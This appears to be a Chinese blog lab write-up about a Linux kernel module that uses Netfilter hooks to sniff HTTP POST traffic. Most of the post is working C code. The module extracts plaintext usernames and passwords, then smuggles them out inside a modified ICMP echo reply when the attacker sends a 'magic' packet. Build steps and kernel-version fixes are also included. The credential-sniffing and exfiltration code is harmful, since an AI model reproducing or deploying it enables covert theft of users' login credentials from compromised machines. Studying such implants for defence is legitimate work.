• Netfilter,获取http明文用户名和密码


    @

    Netfilter简介

    Netfilter是从Linux 2.4开始引入内核的一个子系统,是在网络流程的若干位置放置了一些hook(钩子),将数据出来做一些处理(如包过滤,NAT等)后,再回到网络流程。

    netfilter和iptables的关系
    在这里插入图片描述
    网络层的hook:
    NF_IP_PRE_ROUTING:刚刚进入网络层的数据包
    NF_IP_LOCAL_IN:经路由查找后,送往本机,INPUT包过滤
    NF_IP_FORWARD:要转发的包,FORWORD包过滤
    NF_IP_POST_ROUTING:要通过网络设备发出去的包
    NF_IP_LOCAL_OUT:本机发出的包,OUTPUT包过滤

    实验-target端

    实验环境:ubuntu 18.04 kernel 4.15
    源代码:nf_http.c getData.c Makefile

    内核模块的操作

    • 头文件 linux/kernel.h linux/module.h
    • 初始化模块(netfilter,见下)
    • 编译得到.ko文件
      LKM的编译和应用层代码使用的gcc不同,它使用Makefile,kbuild。
      obj-m += hello-world.o
      all:
      	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
      clean:
      	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
      
      make生成目标文件.ko,可以加载到内核。
    • 加载模块 sudo insmod nf_http.ko
    • 打印10行信息 dmesg | tail
    • 查看内核模块sudo lsmod
    • 卸载模块 sudo rmmod nf_http (注意不用.ko)

    完整的LKM编程模块

    #include <linux/kernel.h>
    #include <linux/module.h>
    #include <linux/init.h>
    
    static int __init init_my_module(void) {
      printk(KERN_INFO "Hello, Kernel!
    ");
      return 0;
    }
    
    static void __exit exit_my_module(void) {
      printk(KERN_INFO "Bye, Kernel!
    ");
    }
    
    module_init(init_my_module);
    module_exit(exit_my_module);
    
    MODULE_LICENSE("GPL");
    MODULE_AUTHOR("TEST");
    

    初始化netfilter

    • 头文件 :
      • linux/netfilter.h
      • linux/netfilter_ipv4.h
    • 钩子点结构体
        struct nf_hook_ops {
             struct list_head list;
              /* 此下的值由程序员填充 */
              nf_hookfn *hook;
              int pf;
              int hooknum;
              /* Hook以升序的优先级排序 */
              int priority;
    	   };
    
    • PRE_ROUTING 钩子:watch_in() 检查发出去的包
    • POST_ROUTING钩子:watch_out() 检查收到的包
        struct nf_hook_ops pre_hook;  
        struct nf_hook_ops post_hook;  
        
        int init_module()
        {
            pre_hook.hook = watch_in;
            pre_hook.pf = PF_INET;
            pre_hook.priority = NF_IP_PRI_FIRST;
            pre_hook.hooknum = NF_INET_PRE_ROUTING;
    
            post_hook.hook = watch_out;
            post_hook.pf = PF_INET;
            post_hook.priority = NF_IP_PRI_FIRST;
            post_hook.hooknum = NF_INET_POST_ROUTING;
    
            nf_register_net_hook(&init_net,&pre_hook);
            nf_register_net_hook(&init_net,&post_hook);
            return 0;
        }
    

    用netfilter过滤发出去的http包

    
        static unsigned int watch_out(void *priv, struct sk_buff *skb,
        const struct nf_hook_state *state)
        {
            struct sk_buff *sb = skb;
            struct tcphdr *tcp;
            printk("post routing");
            /* Make sure this is a TCP packet first */
            if (ip_hdr(sb)->protocol != IPPROTO_TCP)
                return NF_ACCEPT; /* Nope, not TCP */
            tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * 4));
            /* Now check to see if it's an HTTP packet */
            //发现dest port=80的http包,就调用check_http()
            if (tcp->dest != htons(80))
                return NF_ACCEPT; /* Nope, not FTP */
            /* Parse the HTTP packet for relevant information if we don't already
            * have a username and password pair. */
            if (!have_pair)
            {
                printk("check http");
                check_http(sb);
            }
            /* We are finished with the packet, let it go on its way */
            return NF_ACCEPT;
        }
    

    解析http包,获取用户名和密码

    • 通过网页源码或抓包确定表单提交方式、用户名和密码的变量名
      表单提交有两种提交方式,get和post
      get方式效率高但安全性低,如http://localhost:8080/test.do?name=test&password=123456 ,经常用于搜索,查询
      post是封装后进行提交安全性高,常用与用户注册登陆等。
      提交表单标签:


      参考:https://zhidao.baidu.com/question/178748632260389044.html

    • 通过抓包了解该网页http post的结构,uid和pwd在html部分,该部分处于cookie后面,而cookie中含有uid,但没有pwd,且没有分隔符&

    • 使用字符串匹配,过滤POST HTTP包,找到html中的username、password

    在这里插入图片描述

       static void check_http(struct sk_buff *skb)
    {
       struct tcphdr *tcp;
       char *data;
       char *name;
       char *passwd;
       char *_and;
       char *check_html;
       int len,i;
    
       tcp = tcp_hdr(skb);
       
       data = (unsigned char *)tcp + (unsigned char)(tcp->doff) * 4;
        //check POST
    	//cookie中也有uid,但可能没有pwd,且没有&分隔,而提交的HTML数据在cookie的后面,可通过Upgrade-Insecure-Requests定位
       if (strstr(data,"POST /") != NULL && strstr(data,"Upgrade-Insecure-Requests") != NULL 
           	&& strstr(data, "&uid") != NULL && strstr(data, "&password") != NULL) { 
            checkhtml = strstr(data,"Upgrade-Insecure-Requests");
            printk("find POST html");
            name = strstr(check_html,"&uid=");
            name += 5;
            _and = strstr(name,"&");
            
            len = _and - name;
            if ((username = kmalloc(len + 1, GFP_KERNEL)) == NULL)
              return;
            memset(username, 0x00, len + 1);
            for (i = 0; i < len; ++i)
            {
              *(username + i) = name[i];
            }
            *(username + len) = '';
    
            passwd = strstr(name,"&password=");
            passwd += 10;
            _and = strstr(passwd,"&");
            
            len = _and - passwd;
            if ((password = kmalloc(len + 1, GFP_KERNEL)) == NULL)
              return;
            memset(password, 0x00, len + 1);
            for (i = 0; i < len; ++i)
            {
              *(password + i) = passwd[i];
            }
            *(password + len) = '';
    
       } else {
          printk("it`s not a http post");
          return;
       }
    
       if (!target_ip)
         target_ip = ip_hdr(skb)->daddr;
       if (!target_port)
         target_port = tcp->source;
    
       if (username && password)
         have_pair++;              /* Have a pair. Ignore others until
                        * this pair has been read. */
       if (have_pair)
         printk("Have a uid&pwd pair!  U: %s   P: %s
    ", username, password);
    }
    
    

    用netfilter过滤收到的包

    发现特定的icmp包后,修改此数据报的mac、ip、username、pwd,并发送回hack

    
        static unsigned int watch_in(void *priv, struct sk_buff *skb,
        const struct nf_hook_state *state)
        {
            struct sk_buff *sb = skb;
            struct icmphdr *icmp;
            char *cp_data;    /* Where we copy data to in reply */
            unsigned int taddr;   /* Temporary IP holder */
            printk("pre routing");
            /* Do we even have a username/password pair to report yet? */
            if (!have_pair)
                return NF_ACCEPT;
            /* Is this an ICMP packet? */
            if (ip_hdr(sb)->protocol != IPPROTO_ICMP)
            return NF_ACCEPT;
            icmp = (struct icmphdr *)(sb->data + ip_hdr(sb)->ihl * 4); //+20 ip头
            /* Is it the MAGIC packet? */
            if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
            || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
            printk("it`s not a MAGIC packet");
            return NF_ACCEPT;
            }
            /* 直接修改接收的buffer, 这种情况只适合局域网内利用目的mac传输,因为没有经过路由*/
            printk("get the MAGIC packet");
            /*交换src dst 的ip*/
            taddr = ip_hdr(sb)->saddr;
            ip_hdr(sb)->saddr = ip_hdr(sb)->daddr;
            ip_hdr(sb)->daddr = taddr;
            sb->pkt_type = PACKET_OUTGOING;
            //设置mac
            switch (sb->dev->type) {
            case ARPHRD_PPP:     /* Ntcho iddling needs doing */
            break;
            case ARPHRD_LOOPBACK:
            case ARPHRD_ETHER:
              {
               unsigned char t_hwaddr[ETH_ALEN];
    
               /*将源MAC设置为目的MAC*/
               sb->data = (unsigned char *)eth_hdr(sb);
               sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
               memcpy(t_hwaddr, (eth_hdr(sb)->h_dest), ETH_ALEN);
               memcpy((eth_hdr(sb)->h_dest), (eth_hdr(sb)->h_source),
                 ETH_ALEN);
               memcpy((eth_hdr(sb)->h_source), t_hwaddr, ETH_ALEN);
              break;
              }
            };
            /* Now copy the target IP, then Username, then password into packet */
            /*(char *)icmp 是为了保证指针移动的标准是char* ,64位OS中是8字节*/
            cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
            memcpy(cp_data, &target_ip, 4);
            if (username)
            //memcpy(cp_data + 4, username, 16);
                memcpy(cp_data + 4, username, 16);
            if (password)
                memcpy(cp_data + 20, password, 16);
            /* 发送 buffer*/
            dev_queue_xmit(sb);
            printk("the pair has been send to target");
            /* Now free the saved username and password and reset have_pair */
            kfree(username);
            kfree(password);
            username = password = NULL;
            have_pair = 0;
            target_port = target_ip = 0;
            printk("clear the pair
    ");
            /* 不能return NF_DROP,因为dev_queue_xmit将释放缓冲区,
            * Netfilter将尝试对NF_DROPped数据包执行相同操作,导致内核错误。*/
            return NF_STOLEN;
        }
    

    清理netfilter

        void cleanup_module()
        {
            //struct net *net=NULL;
            nf_unregister_net_hook(&init_net,&post_hook);
            nf_unregister_net_hook(&init_net,&pre_hook);
            if (password)
            kfree(password);
            if (username)
            kfree(username);
            return;
        }
        
    

    实验-hack端

    源代码:getData.c

    • 向target发送特殊的icmp包

      raw socket 编程, 发送icmp数据包 ,保证足够的长度盛放target返回的数据。

      ip头 20字节 icmp头 8字节 icmp数据 4+16+16=36字节

    • 接收和打印target发回的数据

    打印接收到的数据

    遇到的问题

    1. make error 1:assignment from incompatible pointer type [-Werror=incompatible-pointer-types]
      pre_hook.hook = watch_in;

      自从kernel4.13开始 hook函数的原型就是
      int sample_nf_hookfn(void *priv, struct sk_buff *skb, const struct nf_hook_state *state);

      而不是

        static unsigned int sample(unsigned int hooknum, struct sk_buff * skb,
        const struct net_device *in, const struct net_device *out,  int (*okfn) (struct sk_buff *))  
    
    1. make error2 :
      nf_register_hook(&pre_hook);
      ^~~~~~~~~~~~~~~~
      nf_register_net_hook

      nf_register_hook在新版内核里面换成了 nf_register_net_hook(struct net *net, const struct nf_hook_ops *ops);
      可以这样

        #if LINUX_VERSION_CODE >= KERNEL_VERSION(4,13,0) 
        nf_register_net_hook(&init_net, &reg)  //&init_net 可直接使用
        #else 
        nf_register_hook(&reg) 
        #endif
    

    参考 :
    https://blog.csdn.net/bw_yyziq/article/details/78290715
    https://zhuanlan.zhihu.com/p/61343421
    https://zhuanlan.zhihu.com/p/61164326
    《UNIX网络编程》

  • 相关阅读:
    Action返回类型
    低成本FPGA中实现动态相位调整
    SERDES高速系统(二)
    SERDES高速系统(一)
    Avalon总线概述
    FPGA热设计
    功耗的挑战
    特性阻抗介绍
    低阻抗电源分配系统
    非理想回路信号衰减
  • 原文地址:https://www.cnblogs.com/chzhyang/p/11360020.html
Copyright © 2020-2023  润新知